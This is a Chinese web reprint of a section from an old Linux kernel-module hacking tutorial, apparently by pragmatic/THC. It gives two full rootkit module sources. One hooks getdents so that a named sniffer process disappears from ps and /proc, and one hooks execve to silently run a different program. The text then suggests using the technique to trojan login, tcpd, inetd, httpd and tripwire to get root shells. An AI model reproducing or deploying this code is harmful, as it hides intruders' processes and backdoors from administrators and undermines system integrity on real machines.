科技动态 | 硬件广场 | 下载基地 | 网络教室 | 网络冲浪 | 科学博览 | 移动时代 | 手机上网 | 桌面壁纸 | 科技商情 |
2.5 和进程有关的入侵
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <linux/proc_fs.h> extern void* sys_call_table[]; /*我们想隐藏的进程名*/ char mtroj[] = "my_evil_sniffer"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); /*将一个字符串转换为数字*/ int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /*从PID中得到任务结构*/ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /*从任务结构中得到进程名*/ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } /*检查我们是否需要隐藏这个进程*/ int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /*看2.4获得文件系统入侵的更为详细的信息*/ int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*orig_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc=1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*初始化模块*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*卸载模块*/ { sys_call_table[SYS_getdents]=orig_getdents; } 这个代码看起来有点复杂.但是如果你知道'ps'或者其他的进程分析工具是如何工作的这些代码还是很容易理解的.像'ps'这样的命令并不使用任何特殊的系统调用来获得当前进程的列表(也不存在实现这个功能的系统调用).通过跟踪'ps'你会发现他从/proc/目录中获得这些信息.在那里你可以发现很多名字只由数字组成的目录.这些数字就是那个系统中所有运行进程的PID.在这些目录里面你会发现提供给进程信息的所有文件.因此,'ps'命令不过是在/proc/里面来一个'ls'命令.每一个数字就代表一个PID,从而获得那个著名的列表.所有展示给我们的有关这个进程的信息就是从/proc/PID/下面的文件中读出来的.现在你可以理解了.'ps'一定是读了/proc/目录里面的内容.因此一定使用了sys_getdents(...).我们必须获得在/proc/下面发现的PID进程的名字.如果这个这个进程的名字是我们想要隐藏的.我们就要把他从/proc/中隐藏起来.(就像我们在文件系统对其他的文件一样->见4.1).这两个任务函数和那个invisible(...)只是用来找到某个给定的在/proc/目录中找到的PID的名字和相关的信息.关于文件的隐藏在学过2.4.1以后应该十分清楚了. 在plaguez的实现中我只会有一点改进.我不知道为什么他要使用自己的atoi函数.一个简单的_strtoul(...)会更容易一些.但是这些都是微不足道的.当然,一个完整的隐藏模块会用一个被修改的getdents调用把文件和进程都屏蔽起来.(这也是plaguez实现的方法).Runar Jensen使用另一个更为复杂的方法.他也隐藏了/proc目录下面的PID,但是他检查是否是否该隐藏的方法有一点不一样.他用一个任务结构中的标志位.这个unsigned long位通常用于保存任务的一些信息常量: PF_PTRACED : 当前进程是保留的 PF_TRACESYS : " " " " PF_STARTING :进程马上就要开始了 PF_EXITING : 进程马上就要结束了.
现在Runar Jensen加了一个他自己的常量(PF_INVISIBLE)用来表示相对应的进程是否应该被隐藏.因此一个用sys_getdents找到的/proc下面的PID不需要解析出它的名字.你只需要检查那个任务的标志位.这看上去比用名字的实现方法更为简单.但是如何给这个我们要隐藏的进程设置这个标志位呢?Runar Jensen使用了最简单的方法--截获sys_kill(...).'kill'命令可以送一个特殊的代码(比如说9是结束)给任何由PID指定的进程.因此,启动你想隐藏的进程.用一个'ps'命令获得他的PID,然后使用一个'kill -code PID'.这个code域必须是一个系统没有使用过的值.(因此9是一个坏的选择);Runar Jensen使用的是32.因此这个模块必须截获sys_kill(...)并且检查代码是否为32.如果是的话,就必须设置这个PID所决定的进程的任务标志位.这就是设置标志位的方法.现在应该清楚了为什么这个实现比起前一个会有一些太复杂一点.
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; /*必须被定义因为系统调用宏会使用*/ int errno; /*我们定义自己的系统调用*/ int __NR_myexecve; /*我们必须使用brk*/ static inline _syscall1(int, brk, void *, end_data_segment); int (*orig_execve) (const char *, const char *[], const char *[]); /*这儿使用plaguez's的方法->以字符串为类型的内核空间的传输比memcpy_fromfs(...)要好*/ char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } /*这是一个类似于SYS_execve的系统调用宏.汇编代码使用int 0x80并使用我们需要的寄存器来进行我们自己的__NR_myexecve系统调用*/ int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { char *test; int ret, tmp; char *truc = "/bin/ls"; /*我们应该执行的文件*/ char *nouveau = "/bin/ps"; /*实际上执行的文件*/ unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); /*获得用户想执行的文件*/ (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; /*是我们想截获的文件么?*/ if (!strcmp(test, truc)) { kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; /*设置新的文件名(任何我们想执行的程序,除了/bin/ls)*/ memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); /*使用相同的参数和环境执行这个文件*/ ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); /*不是/bin/ls,用正常方式执行*/ ret = my_execve(filename, argv, envp); } return ret; } int init_module(void) /*初始化模块*/ { /*下面的代码选择我们自己的新的myexeve的系统调用代码.*/ __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } return 0; } void cleanup_module(void) /*卸载模块*/ { sys_call_table[SYS_execve]=orig_execve; } 当你加载这个模块时,每一个对/bin/ls的运行命令都会执行/bin/ps.下面的列表给出了一些使用这种execve的一些想法: 用木马替换/bin/login(plaguez建议) 用木马替换tcpd使得在某个端口开一个拥有root权限的shell.或者来纪录某些信息(记得CERT的关于TCPD版本的木马的意见么?) 用木马来替换inetd获得一个rootshell. 用木马替换httpd,sendmail,....任何一个你想得到的服务,通过传入一个特殊的字符串来获得一个rootshell. 用木马替换像tripwire这样的工具. 其他和系统安全有关的工具. 会有其他成千上万种有趣的程序可以被木马替换,只要用你的脑子想像就可以了.
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文
|
|
版权所有 中华网 |